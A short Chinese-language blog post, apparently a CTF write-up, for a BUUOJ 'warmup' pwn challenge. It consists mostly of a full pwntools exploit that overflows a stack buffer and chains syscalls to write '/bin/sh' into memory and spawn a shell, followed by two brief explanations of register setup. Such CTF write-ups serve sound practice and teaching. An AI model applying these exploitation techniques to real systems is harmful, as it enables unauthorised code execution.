Loading... 这道题做的特别难受,也浪费了很多时间,确实是状态太差了。最近有一点小失意,发现好像什么题都不会做了。 这道题就是一个简单的ret2syscall,直接看exp吧 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') sh = process("./warmup") #sh = remote("node3.buuoj.cn","29084") payload = 'a' * 0x20 #fill payload += p32(0x0804811D) #return to sysread payload += p32(0x0804815A) #sysread return to core again payload += p32(0) #fd payload += p32(0x080491BC) #read to data(injact /bin/sh) payload += p32(9) #len sh.sendafter("2016!",payload) payload = '/bin/sh\x00' sleep(0.2) sh.send(payload) payload = 'a' * 0x20 payload += p32(0x0804811D) #return to sysread payload += p32(0x08048122) #avoid changing eax payload += p32(0) #fd of read payload += p32(0x80491BC) #ebx payload += p32(0x8049210) #ecx point to \x00 sleep(0.2) sh.send(payload) sleep(0.2) sh.send("/bin/sh\x00\x00\x00\x00") sh.interactive() ``` 两点解释一下 1. 为什么要注入两次? * 因为第一次注入后,若直接ret to 0x08048122,mov给edx的值不是零,两次注入的话,很巧的,栈中被赋给edx的值是零 2. 为什么第二次注入的时候,长度是0x8049210? * 这个值将来被赋值给ecx,ecx是execve_syscall中指向参数的(比如`gcc -v`,`'-v'`就是参数),我们要shell,不应该有参数,所以让他执行一个值为空的、可访问的地址。 最后修改:2021 年 01 月 06 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧